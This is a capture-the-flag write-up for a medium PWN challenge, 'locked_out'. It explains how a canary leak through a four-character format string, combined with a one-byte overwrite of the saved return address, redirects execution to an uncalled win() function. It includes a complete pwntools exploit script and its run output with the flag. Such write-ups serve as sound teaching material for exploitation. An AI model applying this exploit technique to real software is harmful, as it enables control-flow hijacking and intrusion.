Category: PWN
Difficulty: Medium
Author: Togby & Nissen
Challenge Description
After Brunnerne Inc. refused to raise our wages, us bakers on the factory floor went on a huge strike. Management responded with a lockout - and apparently changed all our PIN codes.
But like… I forgot to finish my piece of brunsviger, so I really need to get back in before it gets dry.
We get only a binary (locked_out) and a flag.txt — no source. The program asks for a PIN, gives us four tries, and taunts us when we’re wrong.
Approach
Step 1 — Triage
$ checksec locked_out
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Canary, NX, and PIE are all on — no shellcode, no fixed addresses. But the binary isn’t stripped, so the function names tell a story: play, main, and a suspicious win.
Step 2 — Reverse the logic
win() simply fopen("flag.txt")s and prints it line by line — but nothing ever calls it. Getting the flag means hijacking control flow into win.
play() is where everything happens:
int tries = 4;
srand(time(NULL));
pincode = rand() % 10000; // the "PIN"
while (tries > 0) {
char buf[?]; // buf @ rbp-0x14
memset(buf, 0, 5);
printf("Please enter PIN: ");
read(0, buf, 0x20); // reads 32 bytes -> overflow
buf[4] = 0; // <-- truncates buf at index 4
if (atoi(buf) == pincode) { puts("Correct! Door is unlocked."); break; }
tries--;
printf(buf); // <-- FORMAT STRING BUG
printf("%d is wrong! %d tries left.\n\n", ...);
}
Two bugs, and a trap:
- The PIN is a red herring. Even guessing it right just prints “Correct!” and returns — it never reaches
win. (The PIN isrand()%10000seeded bytime, so it is predictable, but it buys nothing.) - Format string:
printf(buf)on wrong guesses — an arbitrary read primitive. Butbuf[4]is forced to0right afterread, so the format string is capped at 4 characters — only single-digit positional specifiers like%9$pfit. - Stack overflow:
read(0, buf, 0x20)reads 32 bytes into a buffer atrbp-0x14, straight over the canary and saved return address.
Stack layout of play’s frame relative to buf (rbp-0x14):
| offset from buf | what | note |
|---|---|---|
+8 | tries counter | rbp-0xc |
+12 | stack canary | rbp-0x8 |
+20 | saved RBP | rbp |
+28 | saved RIP | rbp+8 |
Step 3 — The single-byte overwrite insight
read only takes 32 bytes, and the saved RIP starts at buf+28. So we can reach the saved RIP but only overwrite its lowest few bytes. That’s actually all we need:
saved RIP = base + 0x13bf (return into main after `call play`)
win = base + 0x13da
These addresses differ only in the low byte (0xbf → 0xda); every higher byte, including all of the randomized PIE base, is identical. So flipping one byte turns the return address into win — no PIE leak required.
To perform a clean 1-byte overwrite, send exactly 29 bytes: read writes buf[0..28], so buf[28] (= saved RIP byte 0) becomes 0xda and bytes 1–7 stay intact.
Two things must survive the overwrite:
- The canary (
buf+12) — leak it with the format string and write it straight back. - The
triescounter (buf+8) — our filler would corrupt it into a huge number and the loop would never end. Set those 4 bytes to0, sotries--makes it negative and thewhile (tries > 0)loop exits, triggering theretintowin.
Step 4 — Leak the canary
buf sits at rsp+0xc, and printf’s stack arguments start at %6$. The canary at rbp-0x8 lands exactly on %9$:
$ (echo '%9$p') | ./locked_out
Please enter PIN: 0x7d0b89061d157200 is wrong! 3 tries left.
Trailing 00 — that’s the canary. Position confirmed: %9$p.
Step 5 — Full exploit
#!/usr/bin/env python3
from pwn import *
import sys, re
context.arch = 'amd64'
WIN_LOW_BYTE = 0xda # win=base+0x13da vs saved ret=base+0x13bf: only the low byte differs
if len(sys.argv) > 1 and sys.argv[1] == "remote":
io = remote(sys.argv[2], int(sys.argv[3]), ssl=True) # brunner remote is behind TLS
else:
io = process("./locked_out")
# Attempt 1: leak the canary (4-char format string, %9$ = canary)
io.sendafter(b"PIN: ", b"%9$p")
line = io.recvuntil(b"tries left.")
canary = int(re.search(rb"0x[0-9a-f]+", line).group(), 16)
log.success("canary = %#x" % canary)
# Attempt 2: overflow -> preserve canary, zero the counter, 1-byte RIP flip
payload = b"A"*8
payload += p32(0)
payload += p64(canary)
payload += b"B"*8
payload += bytes([WIN_LOW_BYTE])
assert len(payload) == 29
io.sendafter(b"PIN: ", payload)
print(io.recvall(timeout=5).decode(errors="replace"))
$ python3 exploit.py remote locked-out-...-danmark.challs.brunnerne.xyz 1337
[+] canary = 0x...00
AAAA is wrong! -1 tries left.
brunner{no_brunsviger_left_behind}
The -1 tries left confirms the counter trick fired; play returns straight into win, which prints the flag.
Flag
brunner{no_brunsviger_left_behind}
Reflections and Learnings
- An unstripped
win()that nothing ever calls names the goal outright — the challenge is simply to redirect control flow into it. buf[4] = 0capped the format string at four characters, so only a single-digit specifier (%9$p) fit — still enough to leak the canary. A tiny window is often all a leak needs.winand the saved return address differed only in the low byte (0xbf→0xda), so a one-byte flip needed no PIE leak at all. When two addresses share a page, you rarely need the base.- The canary had to be written straight back, and the
triescounter zeroed sotries--goes negative and the loop falls through toret. Mapping the stack frame before sending the payload is what makes those saves deliberate instead of lucky.